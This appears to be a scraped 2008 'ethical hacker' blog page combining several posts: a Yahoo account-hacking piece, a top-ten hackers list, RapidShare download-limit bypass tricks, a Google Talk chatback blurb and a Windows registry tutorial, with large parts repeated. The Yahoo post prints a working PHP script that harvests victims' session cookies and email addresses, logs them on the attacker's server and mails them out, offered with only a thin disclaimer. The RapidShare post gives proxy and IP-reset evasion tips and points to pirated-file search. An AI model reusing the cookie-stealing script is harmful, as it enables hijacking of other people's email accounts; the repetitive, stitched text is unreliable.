What you think is the biggest challenge for hackers in this world? Definitely the answer is hacking world’s number one website, Yahoo.com.Yahoo is hacked so many times in last 5-6 years. Some hackers made yahoo infected with viruses in past. Means whenever you open yahoo.com it installs some viruses on your PC. So guess at what extent did yahoo has been hacked.
But with later new launches of yahoo’s beta versions, yahoo is more and more secured day by day.
Yahoo’s network security administrator works daily to keep yahoo cleaned.
What I mean is yahoo is all time target for hackers.
In last year yahoo detected a bug in its database which used to steal email addresses and password. Here is a small description of the bug and its features.
How hackers steal yahoo passwords
You might have noticed that some yahoo accounts accessed by an unknown person which used it to send promotional emails to list of friends of that accounts who, of course, accessed them leaving the hacker another open door, and another and so on, the chain never ends.
By this way in the geometric progression 1 account becomes 2, 2 then 4, 4 to 8, 8 to 16 and by this way chain goes on increasing giving the hackers millions of new email id’s to send exmails to. Hopefully yahoo wakes up.
I searched on this new thing that they use, it had to be something on the “client side”, a bug that could be sent inside an email, a new thing, undetected by yahoo, yet - it’s easier to attack than to defend they say.
It didn’t take me too much to find this code which writes the recipient’s cookie (stored in C:/ under the Cookies folder) inside a .log file that is copy-pasted by the hacker overwriting his own cookie that yahoo stored inside his computer and than easily accessing the victim’s yahoo email.
The bug:
…which calls this php script:
?
$file=”cookie.log”;
if (isset($_REQUEST[”id”]) &&isset($_REQUEST[”cookie”])){
$logcookie =$_REQUEST[”cookie”];
$logcookie =rawurldecode($logcookie);
$logemail = $_REQUEST[”id”];
$logemail =rawurldecode($logemail);
if (file_exists($file)){
$handle=fopen($file,”r+”);
$filecontence=fread($handle,filesize(”$file”));
fclose($handle);
}
$handle=fopen($file, “w”);
fwrite($handle, “$logemail -$logcookie\n$filecontence\n “);
//Writing email address and cookiethen the rest of the log
fclose($handle);
mail(”email”, “$logemail”,”$logemail\n$logcookie\n$filecontence\n”);
}
header(”Location:http://mail.yahoo.com”); ?>…which writes the cookie to the hackers .log file that resides on his server.
A very simple example but so deadly. This was invented very much back but notes that old things are always used by hackers as weapon.
NOTE: The code is a little changed to make it hard to use without PHP knowledge.
Advice for being safe from this bug:
DON’T EVER OPEN EMAILS FROM AN UNKNOWN SENDER.
Disclaimer:
This article is meant to provide more information on how to protect your yahoo account and every account in general and should not be used for stealing someone’s info, password etc. Using this information for such purposes makes a crime and eventually you can be busted by yahoo security administrators. So think twice
Monday, March 17, 2008
Friday, March 14, 2008
Top ten best hackers of the world
The Ten Biggest Legends of the Hacker Universe
The culture started from the, The hackers culture. Now I am an ethical hacker and many more people like me either interested in or wanted to be hacker , DO you know why is that so ? Answer is these guys made term hacking popular worldwide.
I know they were bad boys , but as an ethical hacker I salute their intelligence , their dedication , and everything they did.
For the users of this blog I am specially posting the names of top 10 hackers of the world who sometime in the past really rocked the news of the world.
Kevin Mitnick: Known worldwide as the “most famous hacker” and for having been the first to serve a prison sentence for infiltrating computer systems. He started dabbling when he was a minor, using the practice known as phone phreaking. Although he has never worked in programming, Mitnick is totally convinced that you can cause severe damage with a telephone and some calls. These days, totally distanced from his old hobbies and after passing many years behind bars, he works as a security consultant for multinational companies through his company “Mitnick Security.”
Gary McKinnon: This 41-year-old Scotsman, also known as Solo, is the perpetrator of what’s considered the biggest hack in the history of computer science - into a military system. Not satisfied with this, in the years 2001 and 2002, he made a mockery of the information security of NASA itself and the Pentagon. Currently he is at liberty awarding his extradition to the U.S. and prohibited access to a computer with Internet connection.
Vladimir Levin: This Russian biochemist and mathematician was accused of having committed one of the biggest bank robberies of all times by means of the cracking technique. From Saint Petersburg, Levin managed to transfer funds estimated at approximately 10 million dollars from Citibank in New York to accounts he had opened in distant parts of the world. He was arrested by INTERPOL in 1995 at Heathrow airport (England). Although he managed to rob more than 10 million dollars, he was only sentenced to three years in prison. Currently he is free.
Kevin Poulsen: Today he may be a journalist and collaborates with authorities to track paedophiles on the Internet, but Poulsen has a dark past as a cracker and phreaker. The event that brought him the most notoriety was taking over Los Angeles phone lines in 1990. A radio station was offering a Porsche as a prize for whoever managed to be caller number 102. It goes without saying that Poulsen was the winner of the contest.
Timothy Lloyd: In 1996, information services company Omega, provider of NASA and the United States Navy, suffered losses of around 10 million dollars. And it was none other than Tim Lloyd, an x-employee fired some weeks earlier, who was the cause of this financial disaster. Lloyd left a virtually activated information bomb in the company’s codes, which finally detonated July 31 of that same year.
Robert Morris: Son of one of the forerunners in the creation of the virus, in 1988 Morris managed to infect no fewer than 6,000 computers connected to the ArpaNet network (one of the precursors to the internet) He did it from the prestigious Massachusetts Institute of Technology (MIT) and for his criminal activities he earned a four year prison sentence, which was finally reduced to community service.
David Smith: Not all hackers can boast of creating the virus that spread the fastest to computers the width and breadth of the globe - David Smith can. In 1999, the father of the Melissa virus managed to infect and crash 100,000 email accounts with his malicious creation. Smith, who was thirty years old at the time, was sentenced and freed on bail.
MafiaBoy: In February of 2000, many of the most important online companies in the US, such as eBay, Yahoo and Amazon, suffered a technical glitch called Denial of Service, which caused a total of 1700 million dollars in losses. But did these sites know that the perpetrator of the attack was a 16 year-old Canadian who responded to the alias MafiaBoy? Surely not, although it didn’t take them long to find out, thanks to his bragging about his bad deed to his classmates at school.
Masters of Deception (MoD): MoD was a New York cyber-gang that reached its apogee in the early 90s. Under the cover of different aliases, its biggest attacks involved taking over telephone lines and centres of the Internet, then still in its infancy. During this time McD starred in the historic “battles of the hackers,” along with other groups like the Legion of Doom (LoD), as they sought to destroy each other until the computers couldn’t take it anymore.
Richard Stallman: Since the early 80s when he was a hacker specializing in artificial intelligence, this hippie-looking New Yorker has been one of the most active militants in favor of free software. At MIT he firmly opposed the privatization of the software used by the institute’s laboratory, so much so they he created what today is known as GNU and the concept of CopyLeft. Popular systems like Linux utilize the GNU mode and Stallman is currently one of the gurus of software democratization
The culture started from the, The hackers culture. Now I am an ethical hacker and many more people like me either interested in or wanted to be hacker , DO you know why is that so ? Answer is these guys made term hacking popular worldwide.
I know they were bad boys , but as an ethical hacker I salute their intelligence , their dedication , and everything they did.
For the users of this blog I am specially posting the names of top 10 hackers of the world who sometime in the past really rocked the news of the world.
Kevin Mitnick: Known worldwide as the “most famous hacker” and for having been the first to serve a prison sentence for infiltrating computer systems. He started dabbling when he was a minor, using the practice known as phone phreaking. Although he has never worked in programming, Mitnick is totally convinced that you can cause severe damage with a telephone and some calls. These days, totally distanced from his old hobbies and after passing many years behind bars, he works as a security consultant for multinational companies through his company “Mitnick Security.”
Gary McKinnon: This 41-year-old Scotsman, also known as Solo, is the perpetrator of what’s considered the biggest hack in the history of computer science - into a military system. Not satisfied with this, in the years 2001 and 2002, he made a mockery of the information security of NASA itself and the Pentagon. Currently he is at liberty awarding his extradition to the U.S. and prohibited access to a computer with Internet connection.
Vladimir Levin: This Russian biochemist and mathematician was accused of having committed one of the biggest bank robberies of all times by means of the cracking technique. From Saint Petersburg, Levin managed to transfer funds estimated at approximately 10 million dollars from Citibank in New York to accounts he had opened in distant parts of the world. He was arrested by INTERPOL in 1995 at Heathrow airport (England). Although he managed to rob more than 10 million dollars, he was only sentenced to three years in prison. Currently he is free.
Kevin Poulsen: Today he may be a journalist and collaborates with authorities to track paedophiles on the Internet, but Poulsen has a dark past as a cracker and phreaker. The event that brought him the most notoriety was taking over Los Angeles phone lines in 1990. A radio station was offering a Porsche as a prize for whoever managed to be caller number 102. It goes without saying that Poulsen was the winner of the contest.
Timothy Lloyd: In 1996, information services company Omega, provider of NASA and the United States Navy, suffered losses of around 10 million dollars. And it was none other than Tim Lloyd, an x-employee fired some weeks earlier, who was the cause of this financial disaster. Lloyd left a virtually activated information bomb in the company’s codes, which finally detonated July 31 of that same year.
Robert Morris: Son of one of the forerunners in the creation of the virus, in 1988 Morris managed to infect no fewer than 6,000 computers connected to the ArpaNet network (one of the precursors to the internet) He did it from the prestigious Massachusetts Institute of Technology (MIT) and for his criminal activities he earned a four year prison sentence, which was finally reduced to community service.
David Smith: Not all hackers can boast of creating the virus that spread the fastest to computers the width and breadth of the globe - David Smith can. In 1999, the father of the Melissa virus managed to infect and crash 100,000 email accounts with his malicious creation. Smith, who was thirty years old at the time, was sentenced and freed on bail.
MafiaBoy: In February of 2000, many of the most important online companies in the US, such as eBay, Yahoo and Amazon, suffered a technical glitch called Denial of Service, which caused a total of 1700 million dollars in losses. But did these sites know that the perpetrator of the attack was a 16 year-old Canadian who responded to the alias MafiaBoy? Surely not, although it didn’t take them long to find out, thanks to his bragging about his bad deed to his classmates at school.
Masters of Deception (MoD): MoD was a New York cyber-gang that reached its apogee in the early 90s. Under the cover of different aliases, its biggest attacks involved taking over telephone lines and centres of the Internet, then still in its infancy. During this time McD starred in the historic “battles of the hackers,” along with other groups like the Legion of Doom (LoD), as they sought to destroy each other until the computers couldn’t take it anymore.
Richard Stallman: Since the early 80s when he was a hacker specializing in artificial intelligence, this hippie-looking New Yorker has been one of the most active militants in favor of free software. At MIT he firmly opposed the privatization of the software used by the institute’s laboratory, so much so they he created what today is known as GNU and the concept of CopyLeft. Popular systems like Linux utilize the GNU mode and Stallman is currently one of the gurus of software democratization
RapidShare hacking for downloads
About rapid share hacking:
As you all know world’s largest file storing mechanism is at rapid share .People Store their files get a code for it to download them again.
But the fact is all files stored in one single server’s database .Which can be busted by hackers and all files can be downloaded.
How to get rid of wait for downloading:
For a free account you have to wait for 1-5 minutes on rapid share and everyone wanted to get rid of it .
Here are some ways I used use for rapid share downloading:
1.
Simply Copy the CODE given below
Open Command prompt. ( run ->cmd )
Paste the Content There. [ Hope u know how to paste on the cmd Prompt ]
Now try the rapidshare link again and it wont ask you to Wait for more than ONE minute.
@echo off
echo ipconfig /flushdns
ipconfig /flushdns
echo ipconfig /release
ipconfig /release
echo ipconfig /renew
ipconfig /renew
exit
Old trick but still works.
2. Browser as proxy : which after restarting every time changes your IP:
After searching a lot I found this amazing thing. It’s like a proxy browser called TORPAK..it can change your permanent IP to static IP. so just when u restart your browser u will have new IP… u can also set intervals between changing your proxy…so now download multiple files at d same time……it also has integration of IDM with it..
Tip:
you have to close this particular browser than open again and it will start downloading from RAPIDSHARE again no need to disconnect..
easy..Search on Google you can download it easily.
3.Delete Rapid share cookie
If you logged into Rapidshare with an account that was detected by fraud detection you will need to delete the Rapidshare cookie. You could either:
Delete all the cookies, but this will make you have to login back into every website that you told the browser to auto login for you.
Go through every cookie and find that one rapidshare cookie.
Here comes this little trick! You could bookmark this link and click it every time you need to delete ONLY Rapidshare cookie:
http://rapidshare.de/cgi-bin/premium.cgi?logout=1
4.. Use a proxy with SwitchProxy and Firefox:
Download and install Firefox if you have not already
Download and install SwitchProxy
Google for free proxies
4 When you hit your download limit, clean your cookies and change your proxy
5. Use an anonymous service:
Running your system through the tor network should in theory work; however, it is difficult to use and setup. Plus, you allow others to run their evil deeds through your system as well by using this systems.. u need to download Firefox 1.5 for it.. u can get the same by typing “Firefox old apps” in Google. begin tor by enabling it on Firefox(right bottom)
Anonymizer is inexpensive, easy to use, but not free. Other pay services would likely work as well.
7.One more new fix (Not tested ):
The hot new Firefox plug-in takes browser customization to a whole new level by letting users filter site content or change page behaviors.
The glory of open-source software is that it allows anyone with the inclination and the scripting knowledge to get under the hood and hot-rod their computing environment. But most of the time, that advantage is available only to people with the programming skills to make the changes they want. That’s where Greasemonkey, a free plug-in for Firefox, comes in — it simplifies hacking the browser.
Released at the end 2004, Greasemonkey is the latest in a growing arsenal of Firefox customization tools. It changes how Web pages look and act by altering the rendering process. Greasemonkey is to Firefox what aftermarket parts are to cars — it lets you personalize your browser by making it faster and more powerful or simply by making browsing more aesthetically pleasing. How and why you will use Greasemonkey (and I predict you will, if you don’t already) will depend on how you browse now.
CODE
http://greasemonkey.mozdev.org/
1) Install the Greasemonkey extension >>
CODE
http://downloads.mozdev.org/greasemonkey/greasemonkey_0.2.6.xpi
2) Restart Firefox
3) Go to
CODE
http://rapidshare.de/files/1034529/rapidshare.user.js.html
4) Right click on rapidshare.user.js and choose “Install User Script”.
Run FireFox.
From File Menu click on Open File then browse to where ever you saved the ‘greasemonkey.xpi’ plug-in. Open it, wait a couple seconds for the install button becomes active. Click on it to install this plug-in then CLOSE FIREFOX.
Run FireFox again. From the File Menu click on Open File then browse to where ever you saved the ‘rapidshare.user.js’. Open it. Click the Tools Menu then click on Install User Script then click OK.
Close FireFox.
The script will let you enjoy “no wait” and multiple file downloads
How to find links for particular files :
It’s ok that now you can omit the minutes wait on rapid share downloads but where to find ant particular files if u needed???
Have no fear when I am here. Ha ha ..
Here is answer
Go to this link
Simply type the name of the file you want :
You ‘ll get hundreds of links to download , its cool and best I have ever seen .
http://www.filesbot.com
I have some more tricks which are sensitive to post and can be used for criminal purposes so I am not posting them here.
Hope you have nice time reading this new post from me .
Thank you all for reading.
And please comment any trick if you have any or any question related to rapidshare hacking. I’ll be delighted to answer all.
As you all know world’s largest file storing mechanism is at rapid share .People Store their files get a code for it to download them again.
But the fact is all files stored in one single server’s database .Which can be busted by hackers and all files can be downloaded.
How to get rid of wait for downloading:
For a free account you have to wait for 1-5 minutes on rapid share and everyone wanted to get rid of it .
Here are some ways I used use for rapid share downloading:
1.
Simply Copy the CODE given below
Open Command prompt. ( run ->cmd )
Paste the Content There. [ Hope u know how to paste on the cmd Prompt ]
Now try the rapidshare link again and it wont ask you to Wait for more than ONE minute.
@echo off
echo ipconfig /flushdns
ipconfig /flushdns
echo ipconfig /release
ipconfig /release
echo ipconfig /renew
ipconfig /renew
exit
Old trick but still works.
2. Browser as proxy : which after restarting every time changes your IP:
After searching a lot I found this amazing thing. It’s like a proxy browser called TORPAK..it can change your permanent IP to static IP. so just when u restart your browser u will have new IP… u can also set intervals between changing your proxy…so now download multiple files at d same time……it also has integration of IDM with it..
Tip:
you have to close this particular browser than open again and it will start downloading from RAPIDSHARE again no need to disconnect..
easy..Search on Google you can download it easily.
3.Delete Rapid share cookie
If you logged into Rapidshare with an account that was detected by fraud detection you will need to delete the Rapidshare cookie. You could either:
Delete all the cookies, but this will make you have to login back into every website that you told the browser to auto login for you.
Go through every cookie and find that one rapidshare cookie.
Here comes this little trick! You could bookmark this link and click it every time you need to delete ONLY Rapidshare cookie:
http://rapidshare.de/cgi-bin/premium.cgi?logout=1
4.. Use a proxy with SwitchProxy and Firefox:
Download and install Firefox if you have not already
Download and install SwitchProxy
Google for free proxies
4 When you hit your download limit, clean your cookies and change your proxy
5. Use an anonymous service:
Running your system through the tor network should in theory work; however, it is difficult to use and setup. Plus, you allow others to run their evil deeds through your system as well by using this systems.. u need to download Firefox 1.5 for it.. u can get the same by typing “Firefox old apps” in Google. begin tor by enabling it on Firefox(right bottom)
Anonymizer is inexpensive, easy to use, but not free. Other pay services would likely work as well.
7.One more new fix (Not tested ):
The hot new Firefox plug-in takes browser customization to a whole new level by letting users filter site content or change page behaviors.
The glory of open-source software is that it allows anyone with the inclination and the scripting knowledge to get under the hood and hot-rod their computing environment. But most of the time, that advantage is available only to people with the programming skills to make the changes they want. That’s where Greasemonkey, a free plug-in for Firefox, comes in — it simplifies hacking the browser.
Released at the end 2004, Greasemonkey is the latest in a growing arsenal of Firefox customization tools. It changes how Web pages look and act by altering the rendering process. Greasemonkey is to Firefox what aftermarket parts are to cars — it lets you personalize your browser by making it faster and more powerful or simply by making browsing more aesthetically pleasing. How and why you will use Greasemonkey (and I predict you will, if you don’t already) will depend on how you browse now.
CODE
http://greasemonkey.mozdev.org/
1) Install the Greasemonkey extension >>
CODE
http://downloads.mozdev.org/greasemonkey/greasemonkey_0.2.6.xpi
2) Restart Firefox
3) Go to
CODE
http://rapidshare.de/files/1034529/rapidshare.user.js.html
4) Right click on rapidshare.user.js and choose “Install User Script”.
Run FireFox.
From File Menu click on Open File then browse to where ever you saved the ‘greasemonkey.xpi’ plug-in. Open it, wait a couple seconds for the install button becomes active. Click on it to install this plug-in then CLOSE FIREFOX.
Run FireFox again. From the File Menu click on Open File then browse to where ever you saved the ‘rapidshare.user.js’. Open it. Click the Tools Menu then click on Install User Script then click OK.
Close FireFox.
The script will let you enjoy “no wait” and multiple file downloads
How to find links for particular files :
It’s ok that now you can omit the minutes wait on rapid share downloads but where to find ant particular files if u needed???
Have no fear when I am here. Ha ha ..
Here is answer
Go to this link
Simply type the name of the file you want :
You ‘ll get hundreds of links to download , its cool and best I have ever seen .
http://www.filesbot.com
I have some more tricks which are sensitive to post and can be used for criminal purposes so I am not posting them here.
Hope you have nice time reading this new post from me .
Thank you all for reading.
And please comment any trick if you have any or any question related to rapidshare hacking. I’ll be delighted to answer all.
Google Talk chatback | Chat with your website vistors instantly
Now google is up with one more interesting application for your site
The new Google Talk chatback, this lets you chat with users on your blog or website directly, you just need to have a Google account for this. Your users don’t need to download anything or have a Google account.
When they visit your site, they’ll see a badge like the one on the right showing your online status (available, busy, offline) and, if you’re available, they can just click and start chatting. Chatback uses the web-based Google Talk Gadget so your visitors don’t need to download anything. It opens in a new window so they can keep chatting with you even if they browse to other pages.
The new Google Talk chatback, this lets you chat with users on your blog or website directly, you just need to have a Google account for this. Your users don’t need to download anything or have a Google account.
When they visit your site, they’ll see a badge like the one on the right showing your online status (available, busy, offline) and, if you’re available, they can just click and start chatting. Chatback uses the web-based Google Talk Gadget so your visitors don’t need to download anything. It opens in a new window so they can keep chatting with you even if they browse to other pages.
Wednesday, March 5, 2008
All about Windows Registry
What is the Registry?
The Registry is a database used to store settings and options for the 32 bit versions of Microsoft Windows including Windows 95, 98, ME and NT/2000. It contains information and settings for all the hardware, software, users, and preferences of the PC. Whenever a user makes changes to a Control Panel settings, or File Associations, System Policies, or installed software, the changes are reflected and stored in the Registry.
The physical files that make up the registry are stored differently depending on your version of Windows; under Windows 95 & 98 it is contained in two hidden files in your Windows directory, called USER.DAT and SYSTEM.DAT, for Windows Me there is an additional CLASSES.DAT file, while under Windows NT/2000 the files are contained separately in the %SystemRoot%\System32\Config directory. You can not edit these files directly, you must use a tool commonly known as a “Registry Editor” to make any changes (using registry editors will be discussed later in the article).
The Structure of The Registry The Registry has a hierarchal structure, although it looks complicated the structure is similar to the directory structure on your hard disk, with Regedit being similar to Windows Explorer.
Each main branch (denoted by a folder icon in the Registry Editor, see left) is called a Hive, and Hives contains Keys. Each key can contain other keys (sometimes referred to as sub-keys), as well as Values. The values contain the actual information stored in the Registry. There are three types of values; String, Binary, and DWORD - the use of these depends upon the context.
There are six main branches, each containing a specific portion of the information stored in the
Registry.
They are as follows:
* HKEY_CLASSES_ROOT - This branch contains all of your file association mappings to support the drag-and-drop feature, OLE information, Windows shortcuts, and core aspects of the Windows user interface.* HKEY_CURRENT_USER - This branch links to the section of
HKEY_USERS appropriate for the user currently logged onto the PC and contains information such as logon names, desktop settings, and Start menu settings.* HKEY_LOCAL_MACHINE - This branch contains computer specific information about the type of hardware, software, and other preferences on a given PC, this information is used for all users who log onto this computer.
* HKEY_USERS - This branch contains individual preferences for each user of the computer, each user is represented by a SID sub-key located under the main branch.*
HKEY_CURRENT_CONFIG - This branch links to the section of HKEY_LOCAL_MACHINE appropriate for the current hardware configuration.* HKEY_DYN_DATA - This branch points to the part of HKEY_LOCAL_MACHINE, for use with the Plug-&-Play features of Windows, this section is dymanic and will change as devices are added and removed from the system.Each registry value is stored as one of five main data types:
* REG_BINARY - This type stores the value as raw binary data. Most hardware component information is stored as binary data, and can be displayed in an editor in hexadecimal format.*
REG_DWORD - This type represents the data by a four byte number and is commonly used for boolean values, such as “0″ is disabled and “1″ is enabled. Additionally many parameters for device driver and services are this type, and can be displayed in REGEDT32 in binary, hexadecimal and decimal format, or in REGEDIT in hexadecimal and decimal format.*
REG_EXPAND_SZ - This type is an expandable data string that is string containing a variable to be replaced when called by an application. For example, for the following value, the string “%SystemRoot%” will replaced by the actual location of the directory containing the Windows NT system files. (This type is only available using an advanced registry editor such as REGEDT32)*
REG_MULTI_SZ - This type is a multiple string used to represent values that contain lists or multiple values, each entry is separated by a NULL character. (This type is only available using an advanced registry editor such as REGEDT32)* REG_SZ - This type is a standard string, used to represent human readable text values.Other data types not available through the standard registry editors include:
* REG_DWORD_LITTLE_ENDIAN - A 32-bit number in little-endian format.* REG_DWORD_BIG_ENDIAN - A 32-bit number in big-endian format.
* REG_LINK - A Unicode symbolic link. Used internally; applications should not use this type.*
REG_NONE - No defined value type.* REG_QWORD - A 64-bit number.*
REG_QWORD_LITTLE_ENDIAN - A 64-bit number in little-endian format.* REG_RESOURCE_LIST - A device-driver resource list.
Editing The Registry
The Registry Editor (REGEDIT.EXE) is included with most version of Windows (although you won’t find it on the Start Menu) it enables you to view, search and edit the data within the Registry. There are several methods for starting the Registry Editor, the simplest is to click on the Start button, then select Run, and in the Open box type “regedit”, and if the Registry Editor is installed it should now open and look like the image below.
An alternative Registry Editor (REGEDT32.EXE) is available for use with Windows NT/2000, it includes some additional features not found in the standard version, including; the ability to view and modify security permissions, and being able to create and modify the extended string values REG_EXPAND_SZ & REG_MULTI_SZ.
Create a Shortcut to RegeditThis can be done by simply right-clicking on a blank area of your desktop, selecting New, then Shortcut, then in the Command line box enter “regedit.exe” and click Next, enter a friendly name (e.g. ‘Registry Editor’) then click Finish and now you can double click on the new icon to launch the Registry Editor.
Using Regedit to modify your RegistryOnce you have started the Regedit you will notice that on the left side there is a tree with folders, and on the right the contents (values) of the currently selected folder.
Like Windows explorer, to expand a certain branch (see the structure of the registry section), click on the plus sign [+] to the left of any folder, or just double-click on the folder. To display the contents of a key (folder), just click the desired key, and look at the values listed on the right side. You can add a new key or value by selecting New from the Edit menu, or by right-clicking your mouse. And you can rename any value and almost any key with the same method used to rename files; right-click on an object and click rename, or click on it twice (slowly), or just press F2 on the keyboard. Lastly, you can delete a key or value by clicking on it, and pressing Delete on the keyboard, or by right-clicking on it, and choosing Delete.
Note: it is always a good idea to backup your registry before making any changes to it. It can be intimidating to a new user, and there is always the possibility of changing or deleting a critical setting causing you to have to reinstall the whole operating system. It’s much better to be safe than sorry!
Importing and Exporting Registry Settings
A great feature of the Registry Editor is it’s ability to import and export registry settings to a text file, this text file, identified by the .REG extension, can then be saved or shared with other people to easily modify local registry settings. You can see the layout of these text files by simply exporting a key to a file and opening it in Notepad, to do this using the Registry Editor select a key, then from the “Registry” menu choose “Export Registry File…”, choose a filename and save. If you open this file in notepad you will see a file similar to the example below:
Quote:
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\Setup]”SetupType”=dword:00000000″CmdLine”=”setup -newsetup”"SystemPrefix”=hex:c5,0b,00,00,00,40,36,02
The layout is quite simple, REGEDIT4 indicated the file type and version, [HKEY_LOCAL_MACHINE\SYSTEM\Setup] indicated the key the values are from, “SetupType”=dword:00000000 are the values themselves the portion after the “=” will vary depending on the type of value they are; DWORD, String or Binary.
So by simply editing this file to make the changes you want, it can then be easily distributed and all that need to be done is to double-click, or choose “Import” from the Registry menu, for the settings to be added to the system Registry.
Deleting keys or values using a REG file It is also possible to delete keys and values using REG files. To delete a key start by using the same format as the REG file above, but place a “-” symbol in front of the key name you want to delete. For example to delete the [HKEY_LOCAL_MACHINE\SYSTEM\Setup] key the reg file would look like this:
Quote:
REGEDIT4
[-HKEY_LOCAL_MACHINE\SYSTEM\Setup]
The format used to delete individual values is similar, but instead of a minus sign in front of the whole key, place it after the equal sign of the value. For example, to delete the value “SetupType” the file would look like:
Quote:
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\Setup]”SetupType”=-
Use this feature with care, as deleting the wrong key or value could cause major problems within the registry, so remember to always make a backup first.
Regedit Command Line OptionsRegedit has a number of command line options to help automate it’s use in either batch files or from the command prompt. Listed below are some of the options, please note the some of the functions are operating system specific.
* regedit.exe [options] [filename] [regpath]* [filename] Import .reg file into the registry* /s [filename] Silent import, i.e. hide confirmation box when importing files* /e [filename] [regpath] Export the registry to [filename] starting at [regpath]e.g. regedit /e file.reg HKEY_USERS\.DEFAULT* /L:system Specify the location of the system.dat to use* /R:user Specify the location of the user.dat to use* /C [filename] Compress (Windows 98)* /D [regpath] Delete the specified key (Windows 98)
Maintaining the Registry
How can you backup and restore the Registry?
Windows 95Microsoft included a utility on the Windows 95 CD-ROM that lets you create backups of the Registry on your computer. The Microsoft Configuration Backup program, CFGBACK.EXE, can be found in the \Other\Misc\Cfgback directory on the Windows 95 CD-ROM. This utility lets you create up to nine different backup copies of the Registry, which it stores, with the extension RBK, in your \Windows directory. If your system is set up for multiple users, CFGBACK.EXE won’t back up the USER.DAT file.
After you have backed up your Registry, you can copy the RBK file onto a floppy disk for safekeeping. However, to restore from a backup, the RBK file must reside in the \Windows directory. Windows 95 stores the backups in compressed form, which you can then restore only by using the CFGBACK.EXE utility.
Windows 98Microsoft Windows 98 automatically creates a backup copy of the registry every time Windows starts, in addition to this you can manually create a backup using the Registry Checker utility by running SCANREGW.EXE from Start Run menu.
What to do if you get a Corrupted Registry Windows 95, 98 and NT all have a simple registry backup mechanism that is quite reliable, although you should never simply rely on it, remember to always make a backup first!
Windows 95In the Windows directory there are several hidden files, four of these will be SYSTEM.DAT & USER.DAT, your current registry, and SYSTEM.DA0 & USER.DA0, a backup of your registry. Windows 9x has a nice feature in that every time it appears to start successfully it will copy the registry over these backup files, so just in case something goes wrong can restore it to a known good state. To restore the registry follow these instruction:[list=1]* Click the Start button, and then click Shut Down.
* Click Restart The Computer In MS-DOS Mode, then click Yes.
* Change to your Windows directory. For example, if your Windows directory is c:\windows, you would type the following:
cd c:\windows
* Type the following commands, pressing ENTER after each one. (Note that SYSTEM.DA0 and USER.DA0 contain the number zero.)
attrib -h -r -s system.datattrib -h -r -s system.da0copy system.da0 system.datattrib -h -r -s user.datattrib -h -r -s user.da0copy user.da0 user.dat
* Restart your computer.Following this procedure will restore your registry to its state when you last successfully started your computer.
If all else fails, there is a file on your hard disk named SYSTEM.1ST that was created when Windows 95 was first successfully installed. If necessary you could also change the file attributes of this file from read-only and hidden to archive to copy the file to C:\WINDOWS\SYSTEM.DAT.
Windows NT On Windows NT you can use either the “Last Known Good” option or RDISK to restore to registry to a stable working configuration.
How can I clean out old data from the Registry? Although it’s possible to manually go through the Registry and delete unwanted entries, Microsoft provides a tool to automate the process, the program is called RegClean. RegClean analyzes Windows Registry keys stored in a common location in the Windows Registry. It finds keys that contain erroneous values, it removes them from the Windows Registry after having recording those entries in the Undo.Reg file.
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The Registry is a database used to store settings and options for the 32 bit versions of Microsoft Windows including Windows 95, 98, ME and NT/2000. It contains information and settings for all the hardware, software, users, and preferences of the PC. Whenever a user makes changes to a Control Panel settings, or File Associations, System Policies, or installed software, the changes are reflected and stored in the Registry.
The physical files that make up the registry are stored differently depending on your version of Windows; under Windows 95 & 98 it is contained in two hidden files in your Windows directory, called USER.DAT and SYSTEM.DAT, for Windows Me there is an additional CLASSES.DAT file, while under Windows NT/2000 the files are contained separately in the %SystemRoot%\System32\Config directory. You can not edit these files directly, you must use a tool commonly known as a “Registry Editor” to make any changes (using registry editors will be discussed later in the article).
The Structure of The Registry The Registry has a hierarchal structure, although it looks complicated the structure is similar to the directory structure on your hard disk, with Regedit being similar to Windows Explorer.
Each main branch (denoted by a folder icon in the Registry Editor, see left) is called a Hive, and Hives contains Keys. Each key can contain other keys (sometimes referred to as sub-keys), as well as Values. The values contain the actual information stored in the Registry. There are three types of values; String, Binary, and DWORD - the use of these depends upon the context.
There are six main branches, each containing a specific portion of the information stored in the
Registry.
They are as follows:
* HKEY_CLASSES_ROOT - This branch contains all of your file association mappings to support the drag-and-drop feature, OLE information, Windows shortcuts, and core aspects of the Windows user interface.* HKEY_CURRENT_USER - This branch links to the section of
HKEY_USERS appropriate for the user currently logged onto the PC and contains information such as logon names, desktop settings, and Start menu settings.* HKEY_LOCAL_MACHINE - This branch contains computer specific information about the type of hardware, software, and other preferences on a given PC, this information is used for all users who log onto this computer.
* HKEY_USERS - This branch contains individual preferences for each user of the computer, each user is represented by a SID sub-key located under the main branch.*
HKEY_CURRENT_CONFIG - This branch links to the section of HKEY_LOCAL_MACHINE appropriate for the current hardware configuration.* HKEY_DYN_DATA - This branch points to the part of HKEY_LOCAL_MACHINE, for use with the Plug-&-Play features of Windows, this section is dymanic and will change as devices are added and removed from the system.Each registry value is stored as one of five main data types:
* REG_BINARY - This type stores the value as raw binary data. Most hardware component information is stored as binary data, and can be displayed in an editor in hexadecimal format.*
REG_DWORD - This type represents the data by a four byte number and is commonly used for boolean values, such as “0″ is disabled and “1″ is enabled. Additionally many parameters for device driver and services are this type, and can be displayed in REGEDT32 in binary, hexadecimal and decimal format, or in REGEDIT in hexadecimal and decimal format.*
REG_EXPAND_SZ - This type is an expandable data string that is string containing a variable to be replaced when called by an application. For example, for the following value, the string “%SystemRoot%” will replaced by the actual location of the directory containing the Windows NT system files. (This type is only available using an advanced registry editor such as REGEDT32)*
REG_MULTI_SZ - This type is a multiple string used to represent values that contain lists or multiple values, each entry is separated by a NULL character. (This type is only available using an advanced registry editor such as REGEDT32)* REG_SZ - This type is a standard string, used to represent human readable text values.Other data types not available through the standard registry editors include:
* REG_DWORD_LITTLE_ENDIAN - A 32-bit number in little-endian format.* REG_DWORD_BIG_ENDIAN - A 32-bit number in big-endian format.
* REG_LINK - A Unicode symbolic link. Used internally; applications should not use this type.*
REG_NONE - No defined value type.* REG_QWORD - A 64-bit number.*
REG_QWORD_LITTLE_ENDIAN - A 64-bit number in little-endian format.* REG_RESOURCE_LIST - A device-driver resource list.
Editing The Registry
The Registry Editor (REGEDIT.EXE) is included with most version of Windows (although you won’t find it on the Start Menu) it enables you to view, search and edit the data within the Registry. There are several methods for starting the Registry Editor, the simplest is to click on the Start button, then select Run, and in the Open box type “regedit”, and if the Registry Editor is installed it should now open and look like the image below.
